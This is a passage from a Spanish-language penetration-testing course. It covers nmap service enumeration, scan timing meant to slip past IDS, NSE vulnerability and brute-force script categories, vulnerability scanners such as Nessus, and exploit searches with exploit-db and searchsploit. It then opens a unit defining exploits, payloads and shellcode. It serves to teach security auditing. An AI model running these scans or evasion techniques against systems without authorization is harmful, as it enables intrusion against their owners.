que se encuentran a la escucha en cada uno de estos sistemas, el siguiente paso consiste en averiguar los
servicios que se encuentran disponibles en cada puerto, así como la tecnología o programa utilizado para
prestar este servicio y su versión.

Aunque existen otras herramientas que también pueden realizar, en mayor o menor medida, el
descubrimiento de los tipos de servicio y sus versiones, utilizaremos la herramienta nmap para tal tarea.

57/265
Operadores de enumeración de servicios ( banner grabbing)

Nmap dispone de varios operadores para intentar averiguar el tipo de servicio que se encuentra
habilitado en un puerto concreto y su versión.

El primero de ellos es el operador -sV (de service version ), realiza un descubrimiento de servicios
en base a las respuestas devueltas por cada puerto en el equipo remoto.

Imagen 2.31. Enumeración de servicios con nmap.

Fuente: captura de la herramienta nmap.

Por otro lado, existe otro operador más completo -A, que además de realizar un descubrimiento de
las versiones del servicio, también realiza detección del sistema operativo, traceroute a la máquina y
lanza unos scripts de recopilación de información más específicos por cada puerto abierto.

Imagen 2.32. Enumeración de servicios con nmap.

Fuente: captura de la herramienta nmap.

58/265
 Scripts de enumeración de servicios

Además de los operadores mencionados anteriormente, nmap dispone de una serie de scripts para
poder realizar otro tipo de consultas sobre el objetivo. Estos scripts se encuentran separados por
categorías, existe una categoría llamada “version” que realiza ciertas tareas adicionales de
descubrimiento, pero únicamente sobre ciertos servicios. A continuación, se muestra la manera de
invocar todos los scripts asociados a la categoría “version”.

Imagen 2.33. Scripts de enumeración de servicios con nmap.

Fuente: captura de la herramienta nmap.

3.4.3. Opciones avanzadas de escaneo

La herramienta nmap dispone de una serie de opciones que nos ayudan a personalizar los escaneos
realizados. A continuación, se muestran las opciones imprescindibles para ser capaz de sacarle más
partido a la herramienta.

Utilizando rangos IP y puertos top-ports

Aunque en los anteriores ejemplos hemos escaneado una única dirección IP, lo cierto es que la
herramienta nmap es bastante versátil a la hora de establecer una serie de objetivos de escaneo y
acepta varias modalidades de introducción de objetivos. A continuación, los más comunes.

Notación CIDR: nmap puede tomar como entrada uno o varios rangos de direcciones IP en
notación CIDR.

nmap 192.168.1.0/24

nmap 192.168.1.0/24, 172.16.0.0/16

Expresiones regulares: también acepta la especificación de objetivos mediante expresiones

regulares.

nmap 192.168.1.*

nmap 192.168.1*.*, 192.168.4*.*

59/265
 nmap 192.168.1.*, 172.16.*.*

Consulta a un rango consecutivo de direcciones IP: otra opción es indicar grupos de

direcciones IP consecutivos.

nmap 192.168.1.1-40

nmap 192.168.1.1-40, 192.168.10-20.1-254

Consulta sobre un nombre de host: en caso de indicar un nombre de host para escanear,
nmap resolverá la dirección IP asociada y realizará el escaneo sobre dicha IP.

nmap www.microsoft.com

nmap www.microsoft.com, mail.microsoft.com

Por otro lado, la especificación de los puertos para escanear también es bastante configurable, lo
que nos ofrece las siguientes opciones:

Consulta por un rango de puertos concretos: permite especificar un grupo de puertos

consecutivos.

nmap 192.168.1.1 -p 1-1024

nmap 192.168.1.1 -p 0-65535

Consulta por puertos no consecutivos: por otro lado, también se pueden especificar los
puertos concretos a los que queremos que se consulten.

nmap 192.168.1.1 -p 80,443

nmap 192.168.1.1 -p 135-139,445

Consultar los 100 puertos más conocidos: otra opción consiste en indicarle a nmap que
realice un escaneo sobre un número determinado de los puertos más comunes, es un listado
estadístico mantenido por nmap.

nmap 192.168.1.1 --top-ports=100

Combinación de opciones: además, se pueden especificar varias de estas opciones a la vez.

nmap 192.168.1.201-254, 192.168.20.0/24, 172.16.1-10.* -p 80,443, 8000-9000

Utilizar un fichero de entrada y redirigir la salida

Otra de las opciones que nos ofrece nmap es utilizar como entrada un listado de direcciones IP
objetivo que se encuentren en un fichero de hosts.

nmap -iL host_445-up.txt -p 445 -sS -sV

60/265
 Por otro lado, también permite exportar el resultado del escaneo en varios formatos distintos:

Formato estándar: exporta la salida nmap con el mismo formato que la salida estándar a un
fichero con extensión .nmap.

nmap 192.168.1.1 -oN resultado

Formato Grep: exporta la salida del comando nmap a un fichero en el que cada línea
contiene la información del host remoto escaneado y el resultado del escaneo, se dividen los
distintos resultados mediante caracteres de tipo “;”, “/”, “:”, etc. De esta manera, se puede
filtrar y recoger solo la información que nos interesa mediante las herramientas cut y grep.
Genera un fichero con extensión .gnmap.

nmap 192.168.1.1 -oG resultado

Formato XML: exporta la salida del comando nmap en formato xml, este fichero puede
servir para alimentar otra serie de herramientas útiles para la siguiente fase de escaneo,
como la herramienta nessus.

nmap 192.168.1.1 -oX resultado

Exportar todos los formatos: nmap dispone de una opción para exportar el resultado del
escaneo en los tres formatos anteriormente descritos, de esta manera genera 3 ficheros con
las extensiones .nmap, .gnmap y .xml.

nmap 192.168.1.1 -oA resultado

Velocidad de escaneo

Otro de los puntos que hay que tener en cuenta es que la herramienta nmap permite ajustar la
velocidad de escaneo en 6 niveles distintos. Dependiendo de la topología de la red, nos puede
interesar realizar un escaneo más rápido (por ejemplo, si tenemos que escanear un gran número de
sistemas remotos). De manera totalmente opuesta, si detectamos que los objetivos disponen de algún
tipo de mecanismo de detección contra ataques, podemos realizar un escaneo más lento para evadir
este tipo de protecciones.

Para poder establecer el nivel de velocidad del escaneo, se utiliza el operador -T

A continuación, se muestran los distintos niveles de velocidad de escaneo:

-T0: muy lento, utilizado para la evasión de mecanismos de detección como IDS. Pueden
tener un retardo de hasta 15 segundos en cada intento de conexión.
-T1: más lento de lo normal, puede tardar hasta 5 segundos en realizar cada conexión.
Utilizado para evadir mecanismos de protección.
-T2: lento, puede tardar hasta 10 veces más de lo que tardaría un escaneo normal.
-T3: normal, empieza a realizar conexiones en paralelo.
-T4: rápido, realiza conexiones cada 10 milisegundos.

61/265
 -T5: extremadamente rápido, realiza conexiones cada 5 milisegundos.

A continuación, se muestra un ejemplo de escaneo a la máxima velocidad posible:

nmap 192.168.1.0/16 -T5

Lecturas recomendadas:

https://nmap.org/man/es/man-performance.html

Uso avanzado de scripts

Nmap posee un lenguaje de scripting para automatizar ciertas pruebas en los escaneos. Estos scripts
tienen la extensión .nse y se encuentran bajo la instalación de nmap en la carpeta scripts (la ruta de
instalación por defecto en un sistema Kali Linux sería /usr/local/share/nmap/scripts).

En la siguiente ruta se puede consultar la documentación de todos los scripts por defecto de nmap h
ttps://nmap.org/nsedoc/

Para consultar el listado de scripts disponibles, junto con una pequeña descripción de ellos,
podemos consultar la ayuda de los scripts indicando que se quiere obtener información de todos.

nmap –script-help all

Los scripts .nse normalmente responden a un determinado protocolo, http, Netbios, etc. De esta
manera, si el puerto que se encuentra abierto no dispone de ese servicio o protocolo, el script no se
ejecutará.

Para invocar el lanzamiento de un determinado script se realiza con la opción -script seguido del
nombre del script. Dado que los scripts que consultan sobre un mismo protocolo o servicio tienen una
nomenclatura inicial común, también se pueden indicar los scripts qe se van a ejecutar mediante
expresiones regulares.

nmap 192.168.15.205 --script "smb-enum-users.nse"

nmap 192.168.15.205 --script "smb-*"

También es posible indicar a nmap que ejecute todos los scripts por defecto en los puertos del host
remoto que localice como abiertos.

nmap 192.168.15.205 -p 1-65535 -sC

nmap 192.168.15.205 -p 1-65535 --script default

62/265
 Anotación: Categorías de scripts disponibles en nmap

Además, estos scripts se encuentran divididos en diferentes categorías, pudiendo estar un

script asociado a varias categorías. Las categorías de scripts disponibles en nmap son las
siguientes:

auth: intenta evadir el sistema de autenticación o utilizar credenciales conocidas en

el sistema remoto.
broadcast: se utiliza, principalmente, para descubrir nuevos hosts en la red.
brute: intenta averiguar contraseñas en los equipos remotos de una gran variedad de
protocolos como http, SNMP, IAX, MySQL, VNC, etc.
default: scripts que se ejecutan por defecto cuando se utilizan los operadores - sC y
-A.
discovery: intenta descubrir más información a cerca de los hosts remotos a través
de protocolos como SNMP, servicios de directorio, etc.
dos: realiza pruebas de Denegación de Servicio contra los equipos remotos.
exploit: realiza ciertas pruebas en las que se intenta ejecutar algún exploit.
fuzzer: intenta ejecutar técnicas de fuzzing sobre los protocolos de red.
intrusive: en esta categoría, se catalogan los scripts que pueden causar algún tipo de
daño al sistema remoto, como el consumo de una gran cantidad de procesamiento.
malware: comprueba si el host remoto tiene signos de haberse producido una
infección por malware.
safe: scripts que se consideran seguros y que no tienen ningún impacto negativo
contra el sistema remoto.
version: intenta adivinar la versión de los servicios o protocolos del equipo remoto
vul: comprueba si el sistema remoto se encuentra afectado por alguna
vulnerabilidad conocida

De esta manera, es posible indicar a nmap que ejecute todos los scripts de una determinada
categoría en el sistema remoto

nmap 192.168.15.205 --script vuln

También es posible indicar que se lancen los scripts de un determinado protocolo y que se
encuentren asignados a una o varias categorías. Para ello, se utilizan expresiones regulares y los
operadores and, or y not.

En el siguiente ejemplo se indica a nmap que ejecute todos los scripts asociados al protocolo SMB
que pertenezcan a la categoría vuln, discovery o version.

nmap 192.168.15.205 --script "(vuln or discovery or version) and smb-*"

63/265
 En este otro ejemplo, se ejecutan todos los scripts asociados al protocolo SMB que se encuentren
catalogados con las categorías vuln y safe.

nmap 192.168.15.205 --script "smb-* and (vuln and safe)"

De la misma manera, el siguiente ejemplo ejecuta todos los scripts asociados al protocolo SMB que
no se encuentren catalogados como intrusivos.

nmap 192.168.15.205 --script "smb-* and not intrusive"

También es posible consultar la ayuda de un determinado script, grupo de scripts o categorías

mediante el operador --script-help. A continuación, se muestran varios ejemplos:

nmap --script-help smb-check-vulns

nmap --script-help "smb-*"

nmap --script-help intrusive

nmap --script-help discovery

Existen ciertos scripts que permiten la introducción de argumentos para personalizar la

configuración del script que se va a ejecutar. Normalmente esta información no se muestra en la
ayuda del script. De esta manera, para conocer los argumentos que se le pueden indicar a un
determinado script podremos acudir a la documentación oficial https://nmap.org/nsedoc/ o ver el
código fuente del script .nse

A continuación, se muestra cómo se indica el argumento “ unsafe” con valor “1” para configurar la
ejecución del script “smb-check-vulns”

nmap 192.168.15.205 -p 135-139,445 -sT -sU --script smb-check-vulns unsafe=1

3.5. Búsqueda de vulnerabilidades

Recordamos que, como resultado de la enumeración de servicios y versión, se obtiene información de
los distintos servicios que operan en cada sistema identificado, además del tipo y versión de estos, así
como el puerto específico en el que prestan servicio.

Este último tipo de escaneo se centra en localizar posibles vulnerabilidades conocidas que se asocian a
una determinada versión y tipo de servicio.

Para ello, es posible consultar recursos de información de manera online, que introduciremos más
adelante en este apartado, o bien hacer uso de escáneres más específicos que se encuentran diseñados
para asociar y, en algunos casos comprobar, si una determinada versión de un tipo de servicio o software
se encuentra afectado por una vulnerabilidad en concreto.

64/265
 Referencias:

https://blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf

3.5.1. Nmap como escáner de vulnerabilidades

Nmap también puede utilizar la potencia de sus scripts nse para actuar a modo de pequeño escáner de
vulnerabilidades. Para ello podemos hacer uso de los scripts incluidos en la categoría vuln, los cuales
identifican en el sistema remoto ciertas vulnerabilidades conocidas basándose en el tipo y versión del
protocolo o servicio que se encuentre detrás de ellos.

Cabe destacar que la mayoría de estos scripts no comprueban la existencia de la vulnerabilidad, de

modo que conviene comprobar si la vulnerabilidad realmente existe o, por lo contrario, es un falso
positivo.

nmap 192.168.15.205 --script vuln

De la misma manera, existe un proyecto llamado vulscan ( https://github.com/scipag/vulscan) que

consta de un script nse que comprueba en una base de datos local que contiene vulnerabilidades de
varias fuentes públicas (exploit-db, security focus, cve, etc.).

En caso de que la versión del protocolo o servicio se vea afectada por alguna vulnerabilidad conocida
que se encuentre registrada en la base de datos, el script nos lo indicará. Únicamente realiza la búsqueda
y saca coincidencias, pero no comprueba si realmente el equipo remoto se encuentra afectado.

Para instalarlo se ha de clonar el proyecto de github https://github.com/scipag/vulscan en la carpeta

de scripts de nmap. Una vez copiados los ficheros, se puede invocar la ejecución del mismo como si de
otro script se tratase.

nmap -sV --script=vulscan/vulscan.nse www.microsoft.com

3.5.2. Nessus

Nessus, con bastante diferencia, es la aplicación de escaneo de vulnerabilidades mas conocida y

utilizada. Actualmente existen dos versiones:

Nessus Home

Válido únicamente para entorno personal, no se pueden escanear más de 16 hosts a la vez, no
dispone de soporte de la herramienta ni acceso a los módulos de compliance.

Nessus Professional

Válido en entornos profesionales, no dispone de limitaciones de escaneo, integra varios tipos de

análisis de “Compliance” como PCI. Además, incluye soporte de la herramienta.

65/265
1

Para poder analizar los equipos remotos, es necesario configurar un escáner. Para ello, se
selecciona el tipo de escaneo, se indican los hosts remotos, redes o dominios que se van a escanear,
también admite que se le indique un fichero con un listado de hosts objetivo.

Imagen 2.34. Escaneo de vulnerabilidades con Nessus.

Fuente: captura de la herramienta Nessus.

66/265
2

En una operación normal, Nessus escanea los puertos de los hosts remotos indicados con su propio
motor de escaneo de puertos para buscar puertos abiertos. También es posible indicarle como entrada
el resultado de un escaneo previo de nmap que haya sido exportado en formato XML.

Imagen 2.35. Escaneo de vulnerabilidades con Nessus.

Fuente: captura de la herramienta Nessus.

67/265
3

También es posible especificar las pruebas que se van a lanzar en el apartado de plugins (se
encuentran agrupados por categorías). Estos plugins están desarrollados bajo un lenguaje propietario
llamado NASL (Nessus Attack Scripting Language ).

Imagen 2.36. Escaneo de vulnerabilidades con Nessus.

Fuente: captura de la herramienta Nessus.

68/265
4

Es posible añadir también una serie de opciones adicionales como programar el escaneo para que se
inicie en un horario determinado, que cuando finalice nos envíe un correo, que no ejecute pruebas que
puedan afectar al rendimiento de los sistemas remotos, etc.

Una vez finalizado el escaneo, podremos acceder a las vulnerabilidades localizadas de manera
global.

Imagen 2.37. Escaneo de vulnerabilidades con Nessus.

Fuente: captura de la herramienta Nessus.

69/265
5

O acceder a las vulnerabilidades de cada equipo remoto.

Imagen 2.38. Escaneo de vulnerabilidades con Nessus.

Fuente: captura de la herramienta Nessus.

Opcionalmente, los resultados del escaneo pueden ser exportados como informes en varios
formatos, como CSV, PDF, XML y HTML. Los resultados también pueden guardarse en una base de
conocimiento para referencia en futuros escaneos de vulnerabilidades.

Imagen 2.39. Escaneo de vulnerabilidades con Nessus.

Fuente: captura de la herramienta Nessus.

70/265
3.5.3. Escáneres más específicos (sslscan, qualys, acunetix, NIKTO,
JOOMSCAN, CMSCAN, etc.)

Existen herramientas más específicas que cubren la fase de escaneo sobre ciertos servicios o
protocolos en concreto.

Escáneres de protocolos

Son escáneres enfocados en localizar vulnerabilidades según la versión o tipología de protocolos.

En esta categoría podría englobarse herramientas cómo sslscan o testssl, que buscan
vulnerabilidades conocidas en el tipo de protocolo TLS o SSL utilizado para proteger las
comunicaciones.

71/265
Imagen 2.40. Escaneo de protocolos con testssl.
Fuente: captura de la herramienta testsl.

72/265
Escáneres de aplicaciones o frameworks

Bajo esta categoría se pueden englobar bastantes escáneres que tratan de localizar vulnerabilidades
conocidas en frameworks web tipo CMS como Joomla, Drupal, Wordpress, etc. y sus módulos
asociados.

En esta sección podemos encontrarnos programas como JoomScan, Wpscan, Droopscan, etc.

Imagen 2.41. Escaneo de aplicaciones con WPScan.

Fuente: captura de la herramienta WPScan.

73/265
 Escáneres de vulnerabilidades web

Escáneres más generalistas que tratan de descubrir vulnerabilidades en cualquier tipo de aplicación
web. No se basan en localizar vulnerabilidades conocidas, sino en aplicar las técnicas necesarias para
descubrir nuevas vulnerabilidades sobre las mismas.

Como escáneres más representativos de esta categoría nos encontramos con las aplicaciones Qualys
web-app (https://www.qualys.com/solutions/web-app/) y Acunetix ( https://www.acunetix.com/),
ambas de pago.

Imagen 2.42. Escaneo de vulnerabilidades web con Acunetix.

Fuente: captura de la herramienta Acunetix.

3.5.4. Búsqueda de vulnerabilidades en fuentes abiertas

Además, existen distintos portales especializados que recopilan información de vulnerabilidades

conocidas. Dependiendo del portal consultado, obtendremos más o menos información acerca de la
vulnerabilidad consultada, si existe algún tipo de prueba de concepto asociada, parches que mitigan la
vulnerabilidad, riesgo de la misma, etc.

A continuación, se muestra una recopilación de los portales más conocidos:

cve.csv - http://cve.mitre.org
securityfocus.csv - http://www.securityfocus.com/bid/
securitytracker.csv - http://www.securitytracker.com
expliotdb.csv - http://www.exploit-db.com
openvas.csv - http://www.openvas.org

74/265
 Por otro lado, existe una herramienta en modo consola, disponible para sistemas Linux, que realiza
búsquedas de exploits disponibles en una copia local de la base de datos mantenida por exploit-db.
Además, también te indica dónde se encuentra la copia local del exploit para poder utilizarlo para
comprometer el equipo remoto.

Imagen 2.43. Búsqueda de vulnerabilidades con Linux.

Fuente: captura de Linux.

IV. Resumen
Dentro de las auditorías de seguridad que estudiamos en la unidad anterior, hemos aprendido que se
pueden clasificar en pentest externo (de acuerdo a debilidades del cliente que se pueden encontrar en
internet), interno (desde el punto de vista de un insider) y red team (simulando ataques reales).

Además, si clasificamos estas auditorías por la información que conocemos sobre el objetivo, se
podrían dividir en: caja negra, caja gris y caja blanca.

En cuanto a las fases que forman parte de una auditoría, a lo largo de esta unidad, nos hemos centrado
en dos:

La fase de reconocimiento en la que recogemos toda la información posible del objetivo (tanto
de forma activa como de forma pasiva).
La fase de escaneo. En ella, obtendremos una versión más detallada del objetivo, después de
obtener la información de la fase de reconocimiento.

Dentro de estos contenidos mencionados, hemos estudiado diferentes tipos de enumeraciones (DNS,
SMB, etc.), tipos de escaneos y herramientas para realizarlos, descubrimientos (de red, de hosts, de
servicios, etc.) así como diferentes búsquedas de vulnerabilidades.

75/265
Recursos

Enlaces de Interés
https://nmap.org/zenmap/: ZenMap (recopilación de herramientas usadas)
https://wpscan.org/: WPScan (recopilación de herramientas usadas)
https://www.wireshark.org/: Wireshark (recopilación de herramientas usadas)
https://www.whois.net/: Whois (recopilación de herramientas usadas)
https://github.com/scipag/vulscan: Vulscan (recopilación de herramientas usadas)
https://github.com/laramies/theHarvester: theHarvester (recopilación de herramientas usadas)
https://github.com/rbsec/sslscan: SSLscan (recopilación de herramientas usadas)
https://www.shodan.io/: Shodan (recopilación de herramientas usadas)
http://www.securitytracker.com: Securitytracker (recopilación de herramientas usadas)
http://www.securityfocus.com/bid/: Securityfocus (recopilación de herramientas usadas)
https://github.com/sygo/searchsploit: Searchsploit (recopilación de herramientas usadas)
https://www.robtex.com/: Robtex (recopilación de herramientas usadas)
https://www.ripe.net/: Ripe (recopilación de herramientas usadas)
https://bitbucket.org/LaNMaSteR53/recon-ng: Recon-ng (recopilación de herramientas usadas)
https://www.qualys.com/solutions/web-app/: Qualys web-app (recopilación de herramientas
usadas)
https://www.ssllabs.com/: Qualys SSL (recopilación de herramientas usadas)
https://github.com/byt3bl33d3r/pth-toolkit: Pth-toolkit (recopilación de herramientas usadas)
https://github.com/lanjelot/patator: Patator (recopilación de herramientas usadas)
https://pastebin.com/: Pastebin (recopilación de herramientas usadas)
http://www.openvas.org: Openvas (recopilación de herramientas usadas)
https://blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf: Nmap (4)
https://nmap.org/nsedoc/: Nmap (3)
https://nmap.org/man/es/man-performance.html: Nmap (2)
https://nmap.org/man/es/man-port-scanning-techniques.html: Nmap (1)
https://nmap.org/: Nmap (recopilación de herramientas usadas)
http://netcat.sourceforge.net/: Netcat (recopilación de herramientas usadas)
https://www.tenable.com/products/nessus/nessus-professional: Nessus (recopilación de
herramientas usadas)
https://nmap.org/ncrack/: Ncrack (recopilación de herramientas usadas)

76/265
 https://github.com/gentilkiwi/mimikatz: Mimikatz (recopilación de herramientas usadas)
https://www.metasploit.com/: Metasploit (recopilación de herramientas usadas)
https://github.com/jmk-foofus/medusa: Medusa (recopilación de herramientas usadas)
http://www.openwall.com/john/: Jhon the Ripper (recopilación de herramientas usadas)
https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol: ICMP
https://tools.kali.org/password-attacks/hydra: Hydra (recopilación de herramientas usadas)
https://hashcat.net/hashcat/: Hashcat (recopilación de herramientas usadas)
https://www.google.com: Google (recopilación de herramientas usadas)
https://github.com/: Github (recopilación de herramientas usadas)
https://www.elevenpaths.com/es/labstools/foca-2/index.html: FOCA (recopilación de
herramientas usadas)
http://www.exploit-db.com: Expliot-db (recopilación de herramientas usadas)
https://github.com/portcullislabs/enum4linux: Enum4linux (recopilación de herramientas
usadas)
https://github.com/fwaeytens/dnsenum: Dnsenum (recopilación de herramientas usadas)
http://cve.mitre.org: CVE (recopilación de herramientas usadas)
https://www.bing.com/: Bing (recopilación de herramientas usadas)
https://attack.mitre.org/wiki/All_Techniques: Attack Mitre
https://github.com/royhills/arp-scan: Arp-scan (recopilación de herramientas usadas)
https://www.arin.net/: Arin (recopilación de herramientas usadas)
http://archive.org: Archive.org (recopilación de herramientas usadas)
https://www.acunetix.com/: Acunetix (recopilación de herramientas usadas)
https://0day.today/: 0day (recopilación de herramientas usadas)

Bibliografía
0day.: https://0day.today/
Google Hacking For Penetration Test . : Long, J., Gardner, B. and Brown, J. (2016). Google
Hacking For Penetration Test. Tercera Edición. Waltham: Syngress.
Open Source Intelligence Techniques: Resources for Searching and Analyzing Online
Information. : Bazzell, M. (2018). Open Source Intelligence Techniques: Resources for
Searching and Analyzing Online Information. CreateSpace Independent Publishing Platform
Acunetix.: https://www.acunetix.com/
Archive.org.: http://archive.org
Arin.: https://www.arin.net/
Arp-scan.: https://github.com/royhills/arp-scan

77/265
Attack Mitre.: https://attack.mitre.org/wiki/All_Techniques
Combinaciones de Google para hacking.: https://www.exploit-db.com/google-hacking-
database/
Dnsenum.: https://github.com/fwaeytens/dnsenum
Dnsrecon.: https://github.com/darkoperator/dnsrecon
Documentación de scripts de Nmap.: https://nmap.org/nsedoc/
Enum4linux.: https://github.com/portcullislabs/enum4linux
Exploit-db.: http://www.exploit-db.com
FOCA.: https://www.elevenpaths.com/es/labstools/foca-2/index.html
Github.: https://github.com/
Hashcat.: https://hashcat.net/hashcat/
Hydra.: https://tools.kali.org/password-attacks/hydra
Internet Control Message Protocol (ICMP).:
https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol
Jhon the Ripper.: http://www.openwall.com/john/
Medusa.: https://github.com/jmk-foofus/medusa
Metasploit.: https://www.metasploit.com/
Mimikatz.: https://github.com/gentilkiwi/mimikatz
Ncrack.: https://nmap.org/ncrack/
Nessus.: https://www.tenable.com/products/nessus/nessus-professional
Netcat.: http://netcat.sourceforge.net/
Nmap.: https://nmap.org/
Nmap. Control de tiempo y rendimiento.: https://nmap.org/man/es/man-performance.html
Openvas.: http://www.openvas.org
OSVDB.: http://www.osvdb.org
Pastebin.: https://pastebin.com/
Patator.: https://github.com/lanjelot/patator
Pth-toolkit.: https://github.com/byt3bl33d3r/pth-toolkit
Qualys SSL.: https://www.ssllabs.com/
Qualys.: https://www.qualys.com/solutions/web-app/
Repositorio de Recon-ng.: https://bitbucket.org/LaNMaSteR53/recon-ng
Ripe.: https://www.ripe.net/
Robtex.: https://www.robtex.com/
SANS Institute. Nmap Cheat Sheet. : https://blogs.sans.org/pen-
testing/files/2013/10/NmapCheatSheetv1.1.pdf

78/265
 Searchsploit.: https://github.com/sygo/searchsploit
Securityfocus.: http://www.securityfocus.com/bid/
Securitytracker.: http://www.securitytracker.com
Shodan.: https://www.shodan.io/
SSLscan.: https://github.com/rbsec/sslscan
theHarvester.: https://github.com/laramies/theHarvester
Vulscan.: https://github.com/scipag/vulscan
Wireshark.: https://www.wireshark.org/
WPScan.: https://wpscan.org/
Xforce.: http://xforce.iss.net
Zenmap.: https://nmap.org/zenmap/

Glosario.

Descubrimiento de red: Averiguar cómo se encuentra estructurada toda la arquitectura de

sistemas por los que está compuesto el objetivo, distinto direccionamiento IP utilizado, la
segmentación aplicada en la red y visibilidad dentro de cada segmento, etc.

Enumeración de puertos: Averiguar los puertos TCP o UDP que se encuentran operativos
en cada sistema identificado.

Management Information Base: Base de datos de SNMP que contiene información

relacionada con la administración de la red. Está organizado en forma de árbol, cuyas ramas
representan las diferentes organizaciones o funciones de red. Cada hoja de árbol corresponde a
valores de variables específicas de un endpoint a las que se puede acceder.

OSINT (Open Source Intelligence): Forma de recolección de inteligencia que engloba

encontrar, seleccionar y adquirir información de recursos públicos para ser analizada y
producir inteligencia (información relevante).

Port sweep: Técnica por la cual se consulta a un determinado puerto o conjunto de puertos
que creamos que se pueda encontrar disponible en el host remoto. Si alguno de los puertos
consultados responde como activo, significa que el host remoto se encuentra operativo, aunque
no responda a ping.

Recon-ng: Framework de reconocimiento web escrito en Python que cuenta con módulos
independientes y diferentes funciones, que proporciona un entorno bastante completo y que
permite englobar todas las pruebas de reconocimiento pasivo que se pueden llevar a cabo.

79/265
 Sesión NULL: Sesión NetBIOS no autenticada entre dos ordenadores. Esta característica
permite que los equipos no autenticados obtengan listas de navegación de otros servidores de
Microsoft.

SMB (Server Message Block): Protocolo de red cuyo objetivo es compartir archivos,
impresoras, etc. entre máquinas pertenecientes a una misma red de ordenadores.

SMTP (Simple Mail Transfer Protocol) : Protocolo de red utilizado para el intercambio de
mensajes de correo electrónico. Suele asociarse a otros protocolos como POP3 o IMAP,
utilizándose SMTP para correo de salida, y los otros para correo entrante.

SNMP (Simple Network Management Protocol) : Protocolo basado en UDP, que facilita el
intercambio de información entre dispositivos de una misma red, un protocolo simple, sin
estado y, por lo tanto, es susceptible a IP spoofing y ataques de repetición.

Transferencia de zona: Copia del archivo de zona desde un servidor DNS maestro a un
servidor esclavo. El archivo de zona contiene una lista de todos los nombres DNS
configurados para esa zona.

80/265
Auditoría de infraestructuras II: explotación y
escalada de privilegios

I. Explotación

1.1. Introducción
Tras la identificación de vulnerabilidades en los servicios identificados en las fases anteriores, el
siguiente paso es explotarlas con el objetivo de mostrar el riesgo real de la vulnerabilidad.

1.2. Objetivos
Con esta unidad el estudiante continuará trabajando en las fases que componen una auditoría de
seguridad, pero esta vez, centrándonos en las fases de explotación y escalada de privilegios.

En cuanto a la fase de explotación, el alumno aprenderá los diferentes vectores de ataque, algunos
tipos de exploit y cómo buscarlos. Además, es importante familiarizarse con diferentes herramientas que
resaltarán de gran utilidad en un futuro como auditor de seguridad.

Con respecto a la escalada de privilegios, en esta unidad los estudiantes conocerán varios métodos de
escalada de privilegios, así como herramientas que les servirán de ayuda para llevarlos a cabo.

1.3. Teoría
Un exploit es un software o técnica que permite explotar o aprovechar una vulnerabilidad de seguridad
de un sistema de información para conseguir un comportamiento no deseado del mismo.

A modo general, desde un punto de vista de ejecución, para la misma hay que contar con:

Si pueden ser explotables de manera remota o local.

Necesidad de privilegios o condiciones del sistema.

Algunos ejemplos de acciones que se pueden lograr en caso de éxito:

Transferir ficheros entre sistemas.
Obtener información acerca del sistema afectado.
Modificar la configuración.

La explotación es una fase vital en la ejecución de un test de intrusión ya que nos permite evaluar el
riesgo real de la vulnerabilidad, tanto en información obtenida como en la posibilidad de saltar o pivotar
hacia otros sistemas.

81/265
 Los riesgos de un exploit son:

Denegación del sistema o servicio.

Degradación del sistema o servicio.
Corrupción de información.
Corrupción de la configuración del sistema o servicio.
Escalada de privilegios.

Anotación: Concepto de shellcode

En exploiting, una shellcode es una pequeña porción de código utilizada como carga útil en la
explotación de una vulnerabilidad de software. Se llama " shellcode" porque normalmente inicia
un shell de comandos desde el cual el atacante puede controlar la máquina comprometida, pero
cualquier código que realice una tarea similar se puede llamar shellcode. Hay dos tipos
diferenciados:

Local: normalmente es el utilizado por un atacante que tiene acceso limitado a una
máquina, pero puede explotar una vulnerabilidad, por ejemplo, un desbordamiento de
búfer, en un proceso de mayor privilegio en esa máquina.
Si se ejecuta con éxito, la shellcode proporcionará al atacante acceso a la máquina con
los mismos privilegios superiores que el procesado.
Remota: se utiliza cuando un atacante desea apuntar a un proceso vulnerable que se
ejecuta en otra máquina en una red local, intranet o red remota. Si se ejecuta con éxito,
la shellcode puede proporcionar acceso al atacante a la máquina de destino a través de
la red. Se puede ejecutar remotamente, mediante el procesamiento de un servidor o
localmente, mediante algún tipo de engaño del usuario.

Más adelante vamos a ver este concepto y es necesario tener claro cuál es su finalidad.

1.4. Vectores de ataque

Hay numerosas formas de identificar los vectores de ataque dentro de una red o en un host concreto.
Los vectores más comunes son los siguientes:

Vectores en aplicaciones web: como se va a comentar en la unidad 2, se pueden explotar

vulnerabilidades de inyección de código, file inclusion, etc.
Servicios con vulnerabilidades conocidas.
Servicios con configuraciones por defecto o mal configurados.
Contraseñas por defecto y contraseñas no seguras.
Compromiso de equipos de la red interna mediante phishing o mails infectados.

82/265
 Referencias:

https://attack.mitre.org/wiki/All_Techniques
https://attack.mitre.org/wiki/Main_Page

1.5. Tipos de exploit

Un exploit está formado por dos partes diferenciadas:

Exploit

Es el código que tiene por objeto ejecutar instrucciones en la víctima de manera no autorizada. Es
el cómo se explota una vulnerabilidad.

Payload

Son las instrucciones que se ejecutan desde la víctima y que nos ofrecen el acceso o interacción no
autorizada a raíz de la explotación de las vulnerabilidades. Es el qué se explota en una vulnerabilidad.

La mayoría de exploits pueden ser agrupados en una de las siguientes categorías:

Service-side

Son aquellos que tienen por objetivo comprometer un servicio que ejecuta en modo servidor, como
por ejemplo el servicio apache.

Client-side

Los exploit de esta categoría afectan a software que ejecuta en el lado cliente y dentro de esta
agrupación figuran las aplicaciones que más comúnmente usamos en nuestro día a día, tal y como son
el navegador web, una hoja de cálculo o el cliente de correo electrónico.

Local Privilege Escalation - PoE

Son exploits que deben ser ejecutados localmente, es decir, desde la propia máquina, ya sea bien
por consola o por acceso remoto.

1.6. Búsqueda de exploit (Exploit-db y similares, searchsploit)

83/265
 Como se comentó en el apartado 3.5.4. Búsqueda de vulnerabilidades en fuentes abiertas , la
herramienta searchsploit, disponible para sistemas Linux, realiza búsquedas de exploits disponibles en
una copia local de la base de datos mantenida por exploit-db. Además, también indica dónde se
encuentra la copia local del exploit para poder utilizarlo para comprometer el equipo remoto.

Como alternativa a esta, la base de datos online de exploit-db, es una fuente muy útil de información y
búsqueda de exploits de todo tipo, ya sean remotos, locales, de kernel Linux, de explotación de servicios
a través de buffer overflow, etc., y 0day.today, que cuenta con una base de datos similar a la que dispone
exploit-db.

https://www.exploit-db.com/

Imagen 3.1. Exploit database.

